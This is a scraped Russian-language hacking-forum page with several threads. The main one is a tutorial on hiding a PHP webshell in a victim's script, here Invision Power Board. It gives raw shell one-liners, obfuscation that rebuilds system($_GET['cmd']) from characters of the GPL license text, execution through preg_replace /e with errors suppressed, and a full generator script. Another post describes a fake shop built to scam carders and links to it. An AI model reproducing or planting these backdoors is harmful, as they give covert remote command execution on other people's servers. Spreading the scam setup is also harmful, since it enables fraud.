АССЕМБЛЕР 2.0 (ЧАСТЬ III)
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО
АССЕМБЛЕР 2.0 (ЧАСТЬ IV)
Документация по Turbo Debugger
Курс практических работ по программированию на языке Ассемблер
Пособие — теория по Ассемблеру
Ассемблер под Windows
Ассемблер
Macro Assembler v4.02
Linker v4.02
Система программирование на макроассемблере MS-DOS — справочное рукаводство
(пакет макроассемблера MS-DOS)
Система программирование на макроассемблере MS-DOS — справочное рукаводство
(введение в язык ассемблера)
Система программирование на макроассемблере MS-DOS — справочное рукаводство
(директивы языка ассемблера)
Система программирование на макроассемблере MS-DOS — справочное рукаводство
(инструкции процессоров 8086/8080)
Справка по Ассемблеру для AVR
IDA (ЧАСТЬ I)
IDA (ЧАСТЬ II)
IDA (ЧАСТЬ III)
IDA (ЧАСТЬ IV)
IDA (ЧАСТЬ V)
IDA (ЧАСТЬ VI)
IDA (ЧАСТЬ VII)
IDA (ЧАСТЬ VIII)
IDA (ЧАСТЬ IX)
IDA (ЧАСТЬ X)**
[**скачать**](http://rapidshare.de/files/8842949/assembler_books.rar.html)
Как начать изучать JS?
Author: Deadweight • 2020-09-28T14:38:17+0000 • Replies: 68 • Views: 10K
Недавно сел за js.
Хочется услышать советов от мастеров на форуме, если такие есть.
Есть какой-нибудь очень хороший мануал для новичка?
Как лучше всего учиться?
На что обращать внимание?
Спасибо, не закидывайте только помидорами
Скрываем свой Php код в скрипте жертвы
Author: Great • 2006-11-30T11:45:55+0000 • Replies: 28 • Views: 10K
Думаю, многие задумывались над вопросом - как бы запрятать в php-скрипте, будь
то форум, сайт или гостевая книга, свой код (шелл или что еще), как бы
"протроянить" его.
Дописать просто **<?php system($_GET[cmd]); ?>**, **<?php include($_GET[inc]);
?>** или даже **<?php eval(base64_decode("...")); ?>** \- тупо, слишком
заметно и неоригинально =)
Будет админ бегло просматривать скрипт по какой-либо причине, заметит кусок
вида eval(base64_decode(..)) и сразу поймет, что тут выполняется какой-то php-
код, да еще и закодированный в base64. Не порядок

Нам надо как-либо преобразовать, например, код system($_GET[cmd]), чтобы не
было заметно, что выполняются какие-то команды.
Самый незаметный, по моему мнению, способ - объявить переменную с каким-либо
текстом, например,
Code:Copy to clipboard
$license = " GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright © 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
_[Preamble]_
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.";
(типа кусок лицензии GNU GPL) и потом выдирать посимвольно оттуда символы,
собирать их в строку и отдать ее на выполнение не обычным eval, а, например, с
помощью вызова preg_replace с модификатором 'e':
Code:Copy to clipboard
@preg_replace("#(\d+)#e", $i, "31337");
, где $i - наш код. preg_replace найдет в строке '31337' один или более
символов (регулярное выражение \d+) и произведет в ней замену согласно коду
$i, который она перед этим выполнит; в добавок еще и будут подавлены все
сообщения об ошибках с помощью оператора @ в PHP. То есть это полностью
аналогично @eval($i), за исключением того, что в $i не должно быть переносов
строки.
Собирать код в строку будем разными способами. Например,
Code:Copy to clipboard
$i .= $license[123]; // банально :)
$i = $i.$license[123]; // разновидность предыдущего
$i = join('', array($i, $license[123])); // извращаемся с join() :)
мало того, все это еще обернем в вызов какой-либо функции, смысл которой
близок к выполняемому скрипту. Например, если это гостевая книга с обилием
вызовов mysql_query и mysql_fetch_array, то мы код запишем в виде
Code:Copy to clipboard
@mysql_query($i = implode("", array($i, $license[48])));
@mysql_fetch_array($i .= $license[205]);
Опять же @ подавляет все ошибки, а они неизбежно будут, т.к. переданные
параметры отнюдь не то, что ожидают эти функции =)
Как результат - PHP просто выполнит выражения, которые стоят в аргументах, а
сама функция упадет с ошибкой, которую мы скроем. Еще добавим всякие функции
для работы со строками, например, chop,nl2br,md5 для вида
.
После всех извращений с php, вызов system($_GET[cmd]) принимает вид:
Code:Copy to clipboard
$license = " $ GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright © 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
_[Preamble]_
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.";
@mysql_close($i = join("", array($i, $license[48])));
crypt($i = $i.$license[73]);
nl2br($i = $i.$license[48]);
nl2br($i = join("", array($i, $license[78])));
md5($i = $i.$license[46]);
crypt($i = implode("", array($i, $license[205])));
md5($i .= $license[80]);
crypt($i = join("", array($i, $license[1])));
md5($i = join("", array($i, $license[321])));
md5($i = implode("", array($i, $license[8])));
@convert_cyr_string($i = $i.$license[13]);
nl2br($i = implode("", array($i, $license[339])));
@mysql_query($i = join("", array($i, $license[322])));
@mysql_close($i = join("", array($i, $license[685])));
md5($i = $i.$license[123]);
@mysql_query($i .= $license[205]);
crypt($i .= $license[113]);
nl2br($i = implode("", array($i, $license[685])));
@mysql_close($i = $i.$license[331]);
@mysql_query($i = implode("", array($i, $license[82])));
chop($i .= $license[1285]);
@preg_replace("#(\d+)#e", $i, "31337");
В качестве примера использования рассмотрим Invision Power Board 2.1.7

Поступим так - текст "лицензии" gnu впихнем в init.php, часть кода в
index.php, а часть - в sources/action_public/help.php
Таким образом, при вызове /index.php?act=Help&cmd=[COMMAND] мы получим шелл =)
(Естественно, для использования этого в реальных форумах желательно составить
код без юзания GET'а, а, например, брать код из заголовка Referer или что-
нибудь в этом роде).
Результат показан на картинке:

Естественно, писал весь этот код я не сам, а при помощи скрипта-
перекодировщика, которому нужно скормить текст (для "выдирания" оттуда
символов и их конкатенации) и код для кодирования. Выдаст он примерно то, что
показано выше, только в различных вариациях + результат выполнения
сгенерированного кода.
Скрипт-перекодировщик:
Code:Copy to clipboard
<?
$license = <<<EOF
$ GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright © 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
_[Preamble]_
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
EOF;
$text = "system(\$_GET['cmd']);";
function process_text($base_name, $out_name, $base, $text)
{
preg_match("#\.(\d+) #", microtime(), $d);
mt_srand($d[1]);
$functions = array( '@mysql_query', '@mysql_close', '@mysql_fetch_array', 'crypt', 'chop', 'nl2br', '@convert_cyr_string', 'md5' );
$encode = '$'.$base_name.' = "'.str_replace('"', '\\'.'"', $base).'";'."\n";
for($i=0;$i<strlen($text);$i++)
{
$p = strpos($base, $text[$i]);
if($p===false)
die("Conversion impossible (can't find match for '".$text[$i]."')");
$func = $functions[ mt_rand()%count($functions) ];
switch(mt_rand()%4)
{
case 0:
$encode .= $func.'($'.$out_name.' .= $'.$base_name.'['.$p.']);'."\n";
break;
case 1:
$encode .= $func.'($'.$out_name.' = $'.$out_name.'.$'.$base_name.'['.$p.']);'."\n";
break;
case 2:
$encode .= $func.'($'.$out_name.' = join("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
break;
case 3:
$encode .= $func.'($'.$out_name.' = implode("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
break;
}
preg_match("#\.(\d+) #", microtime(), $d);
mt_srand($d[1]);
}
switch(mt_rand()%3)
{
case 0:
$encode .= '@preg_replace("#(\d+)#e", $'.$out_name.', "31337");'."\n";
break;
case 1:
$encode .= '@preg_replace("#(\w+)#e", $'.$out_name.', "mysql");'."\n";
break;
case 2:
$encode .= '@preg_replace("#(\s+)#e", $'.$out_name.', "\n");'."\n";
break;
}
return $encode;
}
$c = process_text("license", "i", $license, $text);
echo "<pre>$c</pre>";
echo "<p>";
eval($c);
?>
© Great, 2006.
PE EXE
Author: G100M • 2009-04-14T08:02:07+0000 • Replies: 49 • Views: 10K
Посоветуйте пожалуйста манов и доков по PE EXE формату.
Кодин и дальнейшая жизнЬ!!!
Author: CyberLord • 2005-11-11T07:24:29+0000 • Replies: 30 • Views: 10K
Всем привет!!!
Для меня сейчас настал такой период, когда приходится вибирать направление для
дальнейшей профессиональной деятельности. Я заканчиваю 5 курс. за эти 5 лет
практически изучил множество языков программирования и многи направления в
программировании.
Но... все знать это тяжело!!!
И я бы хотел чтобы вы поделились своим мнением по какому направлению (сети,
БД, и т.п.) лучше продолжать изучать программирование (С++, Delphi).
Как я хотел заработать на ТруВбивалах или Скам маленьких Кардиров
Author: DeiTy • 2019-01-10T05:14:45+0000 • Replies: 41 • Views: 9K
Вообщем , ещё года 2 назад на всех форумов начали толпами появляться учителя
по вбиву , продаж товаров с ebay за 40% и прочее . Видимо кто-то начал активно
сливать инфу с кардинг форумов и так как это более менее работало все начали
копать в эту нишу . Однако как-только брут палки почти умер мат стал довольно
дефицитным (помню времени когда акки палки продавали п 5-10 руб. и то покупать
не хотели .... а сейчас ?

).
Так вот , недавно подумал а почему бы нам немного не заработать на этих 15
летних вбивалах ?) Правда потом передумал , может совесть а может просто не
хочу иметь нечего общего с скамом .
Но план был токов , сделать фейк магазин с матом и просто спамить им , во 1 не
думаю что они заявы писать будут во 2 они делают чернуху так почему мы им
тёмную сделать не можем ?
По быстрому 'на коленке' собрал небольшой 'магазин' (до конца правда не
допилил но дизайн некогда не был моей нишей ...)
Вот что получилось
Spoiler: Клик

Над методом оплаты долго не думал и просто взял яндекс . Он может принимать
как ЯД так и оплату с карт . Более чем должно быть .
Ну а вот сам сайт <https://yadi.sk/d/qWI-7V2LYeB79w>
Решил выложить , вдруг кто тему до ума доведёт

За создание этого чёрного борца с чернухой отвечает DeiTy